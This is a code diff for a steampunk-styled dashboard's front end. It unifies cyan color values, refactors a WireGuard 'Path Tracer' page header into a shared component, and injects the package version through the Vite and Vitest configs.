.agent-list-item.selected {
border-color: var(--neon-cyan);
background: rgba(0, 232, 245, 0.06);
box-shadow: inset 0 0 24px rgba(0, 232, 245, 0.08), 0 0 20px rgba(0, 232, 245, 0.15);
}
.agent-list-header {
@@ -508,9 +514,9 @@
}
.reforge-confirm-banner {
color: var(--neon-cyan, #00e5ff);
background: rgba(0, 229, 255, 0.08);
border-color: rgba(0, 229, 255, 0.35);
color: var(--neon-cyan, #00e8f5);
background: rgba(0, 232, 245, 0.08);
border-color: rgba(0, 232, 245, 0.35);
}
.fusion-prep-picker.fusion-prep-highlight {
@@ -654,12 +660,6 @@
margin-bottom: 0.5rem;
}
.page-subtitle {
color: var(--text-muted);
font-size: 0.875rem;
margin-top: 0.25rem;
}
.chart-row {
margin-bottom: 1.5rem;
}
@@ -985,7 +985,7 @@
.neon-glow-cyan {
color: var(--neon-cyan) !important;
text-shadow: 0 0 20px rgba(0, 245, 255, 0.5);
text-shadow: 0 0 20px rgba(0, 232, 245, 0.5);
}
.neon-glow-purple {
@@ -1038,7 +1038,7 @@
.agent-hash-fill {
height: 100%;
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 10px rgba(0, 245, 255, 0.4);
box-shadow: 0 0 10px rgba(0, 232, 245, 0.4);
transition: width 0.6s ease;
border-radius: 2px;
}
@@ -1070,7 +1070,7 @@
}
.steampunk-table tbody tr:hover {
background: rgba(0, 245, 255, 0.04);
background: rgba(0, 232, 245, 0.04);
}
.mono-sm {
@@ -1083,6 +1083,9 @@
color: var(--text-secondary);
font-size: 1rem;
margin-top: 0.35rem;
letter-spacing: 0.02em;
max-width: 52rem;
line-height: 1.5;
}
@media (max-width: 1100px) {
@@ -1717,7 +1720,7 @@ button.deliverable-card .form-hint {
}
.xmr-badge {
background: rgba(0, 255, 255, 0.15);
background: rgba(0, 232, 245, 0.15);
color: var(--neon-cyan);
border: 1px solid var(--neon-cyan);
}

View File

@@ -1,7 +1,7 @@
/* ── Path Tracer ─────────────────────────────────────────────── */
.pathtrace-page {
padding: 1.5rem;
padding: 0;
max-width: 1200px;
margin: 0 auto;
display: flex;
@@ -9,7 +9,22 @@
gap: 1.5rem;
}
/* ── Header ─────────────────────────────────────────────────── */
.pt-hop-meta {
font-size: 0.6rem;
color: rgba(var(--neon-cyan-rgb, 0, 232, 245), 0.45);
padding-left: 30px;
font-family: var(--font-tech, monospace);
}
.pt-route-list {
margin: 0.35rem 0 0;
padding-left: 1rem;
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
color: rgba(var(--neon-cyan-rgb, 0, 232, 245), 0.65);
}
/* ── Header (legacy selectors — deck hero via SacredPageHeader) ── */
.pt-header {
display: flex;
@@ -55,8 +70,8 @@
}
.pt-agent-card {
background: rgba(0, 232, 245, 0.04);
border: 1px solid rgba(0, 232, 245, 0.12);
background: var(--deck-accent-bg, rgba(0, 232, 245, 0.04));
border: 1px solid color-mix(in srgb, var(--deck-accent-dim, rgba(0, 232, 245, 0.12)) 100%, transparent);
border-radius: 8px;
padding: 0.85rem 1rem;
cursor: pointer;

View File

@@ -4,6 +4,7 @@ import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types';
import { HelpTip } from '../components/HelpTip';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import './PathTracerPage.css';
// ── types ─────────────────────────────────────────────────────────────────────
@@ -250,15 +251,12 @@ export default function PathTracerPage() {
return (
<div className="pathtrace-page operator-deck-page">
{/* Header */}
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">NETWORK OPS · WIREGUARD</p>
<h1> Path Tracer <HelpTip field="pt_path_tracer" /></h1>
<p className="page-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</p>
</div>
</header>
<SacredPageHeader
eyebrow="NETWORK OPS · WIREGUARD"
title="⬡ Path Tracer"
helpField="pt_path_tracer"
subtitle="Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE."
/>
{error && (
<div className="pt-error-banner" role="alert">
@@ -361,7 +359,7 @@ export default function PathTracerPage() {
{hop && <HopStatusBadge status={hop.status} />}
</div>
{hop?.external_ip && (
<div style={{ fontSize: '0.6rem', color: '#00ffaa66', paddingLeft: '30px', fontFamily: 'monospace' }}>
<div className="pt-hop-meta">
{hop.external_ip}:{hop.port}
</div>
)}
@@ -429,7 +427,7 @@ export default function PathTracerPage() {
{spreadRoutes.length > 0 && (
<div className="pt-route-hints" style={{ marginTop: '0.75rem' }}>
<div className="pt-chain-title">Spread Routes</div>
<ul style={{ margin: '0.35rem 0 0', paddingLeft: '1rem', fontSize: '0.65rem', fontFamily: 'monospace', color: '#00ffaa99' }}>
<ul className="pt-route-list">
{spreadRoutes.map((route) => (
<li key={`${route.target_subnet}-${route.seed_agent_id}`}>
{route.target_subnet} {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}

View File

@@ -131,15 +131,15 @@
}
[data-operator-deck='pathtracer'] {
--deck-accent: #6b8cff;
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
--deck-accent-dim: rgba(107, 140, 255, 0.38);
--deck-accent-glow: rgba(107, 140, 255, 0.45);
--deck-accent-bg: rgba(70, 110, 220, 0.08);
--deck-card-accent-bar: #6b8cff;
--deck-accent-rail: #6b8cff;
--deck-accent-rail-glow: rgba(107, 140, 255, 0.48);
--deck-ambient-ui-opacity: 0.4;
--deck-accent: var(--neon-cyan, #00e8f5);
--deck-accent-secondary: var(--brass-light, #c4ad5a);
--deck-accent-dim: rgba(0, 232, 245, 0.38);
--deck-accent-glow: rgba(0, 232, 245, 0.45);
--deck-accent-bg: rgba(0, 232, 245, 0.07);
--deck-card-accent-bar: var(--neon-cyan);
--deck-accent-rail: var(--neon-cyan, #00e8f5);
--deck-accent-rail-glow: rgba(0, 232, 245, 0.48);
--deck-ambient-ui-opacity: 0.55;
}
/* Forge seasonal skins override deck accent when present on page root */

View File

@@ -73,7 +73,7 @@
font-family: var(--font-display);
font-size: clamp(1.1rem, 2vw, 1.6rem);
color: rgba(201, 162, 39, 0.22);
text-shadow: 0 0 12px rgba(0, 245, 255, 0.15);
text-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
animation: sacred-key-glimmer 8s ease-in-out infinite;
}
@@ -101,7 +101,7 @@
animation: sacred-key-glimmer 12s ease-in-out infinite;
}
.sacred-layer__wisdom-rail span:nth-child(2) { animation-delay: -3s; color: rgba(0, 245, 255, 0.14); }
.sacred-layer__wisdom-rail span:nth-child(2) { animation-delay: -3s; color: rgba(0, 232, 245, 0.14); }
.sacred-layer__wisdom-rail span:nth-child(3) { animation-delay: -6s; }
.sacred-layer__wisdom-rail span:nth-child(4) { animation-delay: -9s; color: rgba(255, 176, 32, 0.14); }
@@ -168,7 +168,7 @@
position: absolute;
inset: -20%;
background:
radial-gradient(ellipse 40% 35% at 20% 30%, rgba(0, 245, 255, 0.06), transparent 55%),
radial-gradient(ellipse 40% 35% at 20% 30%, rgba(0, 232, 245, 0.06), transparent 55%),
radial-gradient(ellipse 35% 40% at 80% 70%, rgba(255, 45, 166, 0.05), transparent 55%);
pointer-events: none;
}
@@ -269,7 +269,7 @@
position: absolute;
inset: 0;
opacity: 0.035;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='48' height='83' viewBox='0 0 48 83'%3E%3Cpath d='M24 1 L47 14 L47 42 L24 55 L1 42 L1 14 Z' fill='none' stroke='%23c9a227' stroke-width='0.4'/%3E%3Cpath d='M24 28 L47 41 L47 69 L24 82 L1 69 L1 41 Z' fill='none' stroke='%2300f5ff' stroke-width='0.25' opacity='0.6'/%3E%3C/svg%3E");
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='48' height='83' viewBox='0 0 48 83'%3E%3Cpath d='M24 1 L47 14 L47 42 L24 55 L1 42 L1 14 Z' fill='none' stroke='%23c9a227' stroke-width='0.4'/%3E%3Cpath d='M24 28 L47 41 L47 69 L24 82 L1 69 L1 41 Z' fill='none' stroke='%2300e8f5' stroke-width='0.25' opacity='0.6'/%3E%3C/svg%3E");
background-size: 48px 83px;
}
@@ -324,7 +324,7 @@
pointer-events: none;
z-index: 0;
opacity: 0.04;
background: radial-gradient(circle at 100% 0%, rgba(0, 245, 255, 0.2), transparent 45%),
background: radial-gradient(circle at 100% 0%, rgba(0, 232, 245, 0.2), transparent 45%),
radial-gradient(circle at 0% 100%, rgba(255, 176, 32, 0.15), transparent 40%);
}

View File

@@ -15,6 +15,7 @@
--copper-glow: rgba(120, 80, 120, 0.35);
--neon-cyan: #00e8f5;
--neon-cyan-rgb: 0, 232, 245;
--neon-magenta: #e828a8;
--neon-amber: #e89830;
--neon-green: #2ee810;
@@ -27,7 +28,8 @@
--border-brass: rgba(140, 120, 60, 0.28);
--border-neon: rgba(0, 232, 245, 0.22);
--shadow-panel: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
--shadow-neon-cyan: 0 0 20px rgba(0, 245, 255, 0.35), 0 0 60px rgba(0, 245, 255, 0.1);
--shadow-neon-cyan: 0 0 20px rgba(var(--neon-cyan-rgb), 0.35), 0 0 60px rgba(var(--neon-cyan-rgb), 0.1);
color-scheme: dark;
--shadow-neon-magenta: 0 0 20px rgba(255, 45, 166, 0.3);
--font-display: 'Cinzel Decorative', Georgia, serif;
@@ -158,7 +160,7 @@ h1, h2, h3, .font-display {
background: linear-gradient(180deg, #1a4a52 0%, #0d2a30 100%);
border: 1px solid var(--neon-cyan);
color: var(--neon-cyan);
box-shadow: 0 0 15px rgba(0, 245, 255, 0.2);
box-shadow: 0 0 15px rgba(var(--neon-cyan-rgb), 0.2);
}
.btn-primary:hover {
@@ -185,7 +187,7 @@ h1, h2, h3, .font-display {
.btn-outline:hover {
border-color: var(--neon-cyan);
color: var(--neon-cyan);
box-shadow: 0 0 12px rgba(0, 245, 255, 0.15);
box-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
}
/* Form inputs — gauge panel style */
@@ -201,7 +203,7 @@ h1, h2, h3, .font-display {
.input:focus,
.select:focus {
border-color: var(--neon-cyan);
box-shadow: 0 0 0 2px rgba(0, 245, 255, 0.15), inset 0 0 20px rgba(0, 245, 255, 0.05);
box-shadow: 0 0 0 2px rgba(0, 232, 245, 0.15), inset 0 0 20px rgba(0, 232, 245, 0.05);
outline: none;
}
@@ -299,3 +301,26 @@ h1, h2, h3, .font-display {
::-webkit-scrollbar-thumb:hover {
background: var(--brass);
}
/* Optional light shell when OS prefers light — steampunk deck remains dark-first. */
@media (prefers-color-scheme: light) {
:root {
color-scheme: light dark;
--bg-void: #f0ece4;
--bg-deep: #e4dfd4;
--bg-panel: rgba(255, 252, 245, 0.94);
--bg-panel-solid: #faf7f0;
--bg-hover: rgba(220, 210, 190, 0.92);
--text-primary: #1a1520;
--text-secondary: #4a4458;
--text-muted: #7a7288;
--border-brass: rgba(120, 100, 40, 0.35);
--border-neon: rgba(0, 160, 172, 0.35);
--shadow-panel: 0 10px 36px rgba(40, 30, 20, 0.12), 0 0 1px rgba(80, 60, 140, 0.15);
}
body {
background: var(--bg-void);
color: var(--text-primary);
}
}

View File

@@ -20,7 +20,7 @@ body {
}
::selection {
background: rgba(0, 245, 255, 0.25);
background: rgba(0, 232, 245, 0.25);
color: var(--text-primary);
}
@@ -31,7 +31,7 @@ a {
a:hover {
color: var(--neon-cyan);
text-shadow: 0 0 12px rgba(0, 245, 255, 0.35);
text-shadow: 0 0 12px rgba(0, 232, 245, 0.35);
text-decoration: none;
}
@@ -173,7 +173,7 @@ a:hover {
}
.neon-card-cyan:hover {
border-color: rgba(0, 245, 255, 0.45);
border-color: rgba(0, 232, 245, 0.45);
}
.stat-card {
@@ -196,12 +196,12 @@ a:hover {
}
.stat-value {
text-shadow: 0 0 24px rgba(0, 245, 255, 0.12);
text-shadow: 0 0 24px rgba(0, 232, 245, 0.12);
}
.stat-value.hashrate,
.neon-glow-cyan {
text-shadow: 0 0 20px rgba(0, 245, 255, 0.35);
text-shadow: 0 0 20px rgba(0, 232, 245, 0.35);
}
.neon-glow-gold,
@@ -281,11 +281,11 @@ input[type='range'] {
/* ── Sidebar nav ───────────────────────────────────────────────────────────── */
.nav-item.active {
text-shadow: 0 0 12px rgba(0, 245, 255, 0.4);
text-shadow: 0 0 12px rgba(0, 232, 245, 0.4);
}
.nav-item.active .nav-icon svg {
filter: drop-shadow(0 0 4px rgba(0, 245, 255, 0.6));
filter: drop-shadow(0 0 4px rgba(0, 232, 245, 0.6));
}
/* ── Status & badges ───────────────────────────────────────────────────────── */
@@ -335,7 +335,7 @@ input[type='range'] {
.agent-list-item:hover,
.fleet-agent-row:hover {
box-shadow: inset 0 0 24px rgba(0, 245, 255, 0.04);
box-shadow: inset 0 0 24px rgba(0, 232, 245, 0.04);
}
/* ── Tables & code ─────────────────────────────────────────────────────────── */
@@ -353,7 +353,7 @@ th {
}
tr:hover td {
background: rgba(0, 245, 255, 0.03);
background: rgba(0, 232, 245, 0.03);
}
pre,
@@ -369,7 +369,7 @@ code {
font-family: var(--font-tech);
font-size: 0.88em;
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.06);
background: rgba(0, 232, 245, 0.06);
padding: 0.1em 0.35em;
border-radius: 2px;
}
@@ -377,7 +377,7 @@ code {
/* ── Session gate ──────────────────────────────────────────────────────────── */
.session-gate {
background:
radial-gradient(ellipse 80% 60% at 50% 20%, rgba(0, 245, 255, 0.1), transparent 55%),
radial-gradient(ellipse 80% 60% at 50% 20%, rgba(0, 232, 245, 0.1), transparent 55%),
radial-gradient(ellipse 60% 50% at 80% 80%, rgba(201, 162, 39, 0.08), transparent 50%),
var(--bg-void);
}
@@ -386,7 +386,7 @@ code {
border-radius: 8px;
box-shadow:
var(--shadow-panel),
0 0 40px rgba(0, 245, 255, 0.08),
0 0 40px rgba(0, 232, 245, 0.08),
0 0 80px rgba(201, 162, 39, 0.06);
animation: af-page-in 0.7s cubic-bezier(0.23, 1, 0.32, 1) both;
}

View File

@@ -144,24 +144,15 @@
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
}
.contrib-panel.sample-contrib .contrib-fill {
.contrib-panel .contrib-fill {
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 10px rgba(0, 232, 245, 0.25);
}
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {
.activity-pulse .pulse-row.ok .pulse-dot {
box-shadow: 0 0 8px rgba(57, 255, 20, 0.5);
}
.preview-deck-hint {
font-family: var(--font-tech);
font-size: 0.65rem;
letter-spacing: 0.12em;
color: rgba(201, 162, 39, 0.55);
text-align: center;
margin: 0.5rem 0 1rem;
}
@media (max-width: 768px) {
.deck-wealth-strip {
grid-template-columns: repeat(2, 1fr);

View File

@@ -1,5 +1,7 @@
/// <reference types="vite/client" />
declare const __APP_VERSION__: string;
declare module '*.png' {
const src: string;
export default src;

View File

@@ -1,8 +1,14 @@
import { readFileSync } from 'node:fs'
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8')) as { version: string }
export default defineConfig({
plugins: [react()],
define: {
__APP_VERSION__: JSON.stringify(pkg.version),
},
resolve: {
dedupe: ['react', 'react-dom'],
},

View File

@@ -1,6 +1,12 @@
import { defineConfig } from 'vitest/config';
import { readFileSync } from 'node:fs'
import { defineConfig } from 'vitest/config'
const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8')) as { version: string }
export default defineConfig({
define: {
__APP_VERSION__: JSON.stringify(pkg.version),
},
test: {
environment: 'node',
include: ['src/**/*.test.{ts,tsx}'],